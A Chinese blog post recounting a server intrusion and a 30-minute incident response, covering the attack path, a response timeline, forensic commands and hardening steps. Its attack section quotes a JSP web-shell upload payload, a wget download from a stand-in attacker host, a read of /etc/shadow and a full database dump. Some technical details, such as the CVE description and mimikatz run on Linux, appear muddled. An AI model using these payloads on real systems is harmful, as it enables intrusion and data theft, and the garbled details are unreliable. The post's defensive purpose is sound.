凌晨3点收到安全告警,我用30分钟封堵了一次入侵
将10.10.3.21(边界服务器)和10.10.3.55(数据库服务器)从负载均衡组中踢出,单独隔离。登录监控后台一看:攻击者已经从边界服务器跳到了内网,正在尝试横向扩展到数据库服务器。拿到Shell后,攻击者发现运行服务的账号是root权限(启动脚本配置了sudo权限,且没有配置权限降级)。修复CVE-2023-20883漏洞,重新配置安全组规则,移除过度权限,应用启动用户改为非root。幸运
凌晨3点17分,手机震动。
睡眼惺忪地拿起手机,安全监控平台发来一条告警:
"[CRITICAL] 生产服务器 10.10.3.21 检测到异常横向移动,疑似已被攻陷"
心脏瞬间提到嗓子眼。
登录监控后台一看:攻击者已经从边界服务器跳到了内网,正在尝试横向扩展到数据库服务器。如果这一步成功,大量用户数据将被批量导出。
这是我上个月经历的一次真实应急响应。从告警到封堵,用了不到30分钟。今天我把完整过程写下来,包括:
- 攻击者是怎么进来的(攻击路径还原)
- 我30分钟内做了什么(应急响应时间线)
- 用的什么工具(命令清单)
- 事后怎么加固(防御方案)
希望这篇文章能帮到你——不管是提前了解,还是正在经历。
�� 第一部分:攻击路径还原
────────────────────────────────────────────────────────────
事后溯源时,我把整个攻击链拆解成了4个步骤:
Step 1:边界突破 — Web应用漏洞
攻击入口是一台对外提供服务的API服务器(10.10.3.21),运行着某个Spring Boot应用。攻击者通过favicon识别到了版本号,发现存在CVE-2023-20883(Spring Framework远程代码执行漏洞)。
他们用公开的POC脚本打了一个反弹Shell:
# 攻击者执行的payload(伪代码)
POST /api/file/upload HTTP/1.1
Host: api.target.com
Content-Type: multipart/form-data
--boundary
Content-Disposition: form-data; name="file"; filename="shell.jsp"
<%@ page import="java.io.*"%><%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
文件上传接口没有校验文件类型,直接执行了JSP脚本。边界服务器沦陷。
Step 2:权限提升 — 系统配置错误
拿到Shell后,攻击者发现运行服务的账号是root权限(启动脚本配置了sudo权限,且没有配置权限降级)。
他们直接下载了主机管理工具:
# 攻击者执行
wget http://attacker-server/mimikatz
chmod +x mimikatz && ./mimikatz
# 读取了/etc/shadow文件,破解了本地运维账号密码
⚠️ 致命配置错误:应用服务用root启动 + 运维账号密码复用,这是最常见的组合拳打法
Step 3:横向移动 — 内网扫描
拿到运维账号密码后,攻击者用这个账号SSH到内网其他服务器。他们先扫描了内网存活主机:
# 攻击者内网扫描命令
for ip in $(seq 1 254); do ping -c 1 -W 1 10.10.$ip.1 | grep "ttl" && echo "10.10.$ip.1 alive"; done
nmap -sV 10.10.3.0/24 # 扫描端口和服务
扫描结果指向了数据库服务器(10.10.3.55):
- 3306端口对外开放(安全组配置错误)
- root账号密码与边界服务器相同(密码复用)
- 没有开启日志审计,无法追踪操作记录
Step 4:数据窃取 — 告警触发点
攻击者登录数据库服务器后,尝试执行:
# 攻击者执行的数据库导出命令
mysqldump -u root -p[password] --all-databases > /tmp/backup.sql
# 准备把数据压缩后外传
但是,我们的数据库审计日志捕捉到了异常:
- 凌晨3点的批量导出操作(正常业务此时无活动)
- 导出的数据量超过50GB(正常备份不会这么大)
- 同一时间有内网横向SSH连接(与数据库导出时间吻合)
综合告警规则触发,3点17分,我的手机响了。
⏱ 第二部分:30分钟应急响应时间线
────────────────────────────────────────────────────────────
告警触发后的每一步操作,我都按时间顺序记录了下来。
⏱ 3:17 收到告警,立刻切断公网入口
第一时间在云控制台关闭了API服务器的公网EIP,阻断攻击者继续访问。同时在安全组中禁止3306端口出站流量,防止数据外传。
⏱ 3:19 隔离受感染服务器
将10.10.3.21(边界服务器)和10.10.3.55(数据库服务器)从负载均衡组中踢出,单独隔离。确保不影响其他正常业务。
⏱ 3:22 检查攻击者操作痕迹
登录边界服务器,查看历史命令记录(/root/.bash_history)和定时任务(crontab -l)。发现攻击者已安装了后门程序和挖矿木马。
# 发现的后门文件
ls -la /tmp/.hidden/
# .xmr miner (挖矿木马)
# .ssh/backdoor (SSH后门,留了后门账号)
# .cron.daily/upd (持久化定时任务)
⏱ 3:26 撤销攻击者权限
删除攻击者创建的账号、SSH密钥、后门文件。修改所有相关账号密码(root、运维账号、数据库账号)。
# 删除后门账号
userdel -r attacker_backup
rm -rf /root/.ssh/attacker_key.pub
# 修改root密码
passwd root
⏱ 3:29 检查数据泄露情况
查看数据库导出记录和OSS访问日志。庆幸的是:攻击者还没来得及把数据外传出去,导出文件还留在数据库服务器本地。立刻备份原始证据,然后删除。
⏱ 3:32 通知相关人员
向技术负责人和安全负责人同步情况,同步:攻击路径、影响范围、已采取的处置措施。发送事件报告到安全运营群。
⏱ 3:35-4:30 漏洞修复与加固
修复CVE-2023-20883漏洞,重新配置安全组规则,移除过度权限,应用启动用户改为非root。
�� 第三部分:应急响应工具清单
────────────────────────────────────────────────────────────
这次应急响应用到的工具,按类型整理如下:
1. 主机排查工具
# 1) 检查可疑进程
ps aux | grep -v grep | sort -rn -k3 | head -20
# 2) 检查网络连接(是否有异常外连)
netstat -antp | sort | uniq
# 3) 检查开机启动项
systemctl list-unit-files | grep enabled
# 4) 检查定时任务
crontab -l; ls -la /etc/cron.d/; ls -la /var/spool/cron/
2. 日志分析命令
# 查看SSH登录记录(成功+失败)
lastlog; last; cat /var/log/secure | grep "Accepted"
# 查看历史命令(需开启auditd)
ausearch -k execute -i | head -50
# 查看数据库审计日志
mysql -e "SHOW PROCESSLIST;"
cat /var/log/mysql/audit.log | grep "mysqldump"
3. 取证固化工具
# 1) 完整内存dump(需要ddc工具)
dd if=/dev/fmem of=/tmp/mem.lime bs=1MB
# 2) 打包关键日志
tar -czvf /tmp/evidence.tar.gz /var/log /root/.bash_history /tmp/*.sh
# 3) 计算文件hash(固化证据)
sha256sum /tmp/mem.lime /tmp/evidence.tar.gz
⚠️ 重要原则:取证前不要重启服务器!内存数据在重启后会丢失。先固化证据,再处置
��️ 第四部分:事后加固方案(避免二次中招)
────────────────────────────────────────────────────────────
事件平息后,我对整个系统做了全面加固,按优先级排列:
P0 — 立刻修复(当天完成)
- 升级Spring Boot到最新稳定版,修复CVE-2023-20883漏洞
- 云服务器安全组收紧:只开放业务必要端口,删除3306/22的0.0.0.0/0规则
- 应用启动用户改为非root,禁止sudo提权
P1 — 24小时内完成
- 密码策略:所有服务器密码改为随机强密码(16位+),禁止复用
- 开启Auditd日志审计,记录所有命令执行历史
- 配置OSS访问日志告警,检测异常数据流出行为
P2 — 1周内完成
# 1) 部署WAF(Web应用防火墙)规则
# 拦截:文件上传绕过、命令注入、SQL注入等常见攻击
# 2) 配置蜜罐账号(攻击者登录后自动告警)
useradd -m -s /bin/bash admin_fake
# 蜜罐账号操作记录到独立日志,不与其他账号混用
# 3) 数据库连接加密,限制数据导出权限
REVOKE FILE ON *.* FROM 'root'@'%'; # 禁止LOAD DATA等文件操作
�� 总结:应急响应的6条黄金法则
────────────────────────────────────────────────────────────
回顾这次经历,有6条经验想分享给你:
1. 切断比排查更重要
遇到紧急事件,第一动作是阻断攻击,不是分析攻击。看到告警,先断网、再分析。
2. 证据固化要趁早
攻击者可能还在服务器上,任何操作都会改变文件时间戳。取证要在重启和修复之前。
3. 日志是应急的眼睛
这次能快速定位攻击路径,全靠开启了SSH日志和数据库审计。没有日志的服务器,等于蒙着眼睛打仗。
4. 边界安全和内网隔离同等重要
边界被突破不可怕,可怕的是内网没有纵深防御。一个安全组配置错误,让攻击者长驱直入。
5. 密码复用是最大的隐患
边界服务器和数据库服务器密码相同,攻击者拿到一个就等于拿到所有。密码管理器是必须的。
6. 平时多演练,紧急时才不慌
建议每季度做一次应急响应演练,模拟攻击场景,熟悉处置流程。真出事了,每一秒都在和损失赛跑。
�� 写在最后
────────────────────────────────────────────────────────────
凌晨3点的那通告警电话,是我做安全这几年最有压力也最有成就感的一次经历。
幸运的是,我们之前已经部署了基础监控和审计日志,让我能在30分钟内完成封堵,没有造成实际数据泄露。
但运气不能依赖。每次事后,我都会问自己:下次还能更快吗?还能更准吗?
如果你觉得这篇文章有用,欢迎点赞、收藏。安全这条路上,我们都是一边踩坑一边成长。
有应急响应相关的问题,欢迎评论区交流。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐



所有评论(0)